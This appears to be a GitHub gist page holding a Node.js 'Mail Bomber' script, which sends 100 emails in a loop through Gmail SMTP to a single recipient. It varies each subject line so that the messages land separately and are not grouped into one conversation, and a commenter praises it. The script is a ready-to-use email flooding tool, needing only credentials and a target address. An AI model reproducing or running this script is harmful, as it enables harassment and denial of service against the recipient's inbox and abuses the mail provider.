Skip to content

Instantly share code, notes, and snippets.

@mohitathwani
Created March 19, 2014 06:43
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mohitathwani/9636578 to your computer and use it in GitHub Desktop.
Save mohitathwani/9636578 to your computer and use it in GitHub Desktop.
Mail Bomber
var nodemailer = require("nodemailer");
for (var i= 1; i<=100; i++) {
// create reusable transport method
//(opens pool of SMTP connections)
var smtpTransport =
nodemailer.createTransport("SMTP",{
service: "Gmail",
auth: {
user: "",
pass: ""
}
});
// setup e-mail data with unicode symbols
var mailOptions = {
from: "", // sendaddress
to: "",
subject: "Some Random Subject ! "+i+" !", //Append 'i' to it so that mails are not grouped into a single conversation
text: "Hello world ✔", // plaintext body
html: "<b>Hello world ✔</b>"
}
// send mail with defined transport object
smtpTransport.sendMail(mailOptions,
function(error, response){
if(error){
console.log(error);
}else{
console.log(i + " Message sent: "
+ response.message);
}
// if you don't want to use this yuncomment following line
smtpTransport.close();
});
}
@ANUB1
Copy link

ANUB1 commented May 8, 2018

good job)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment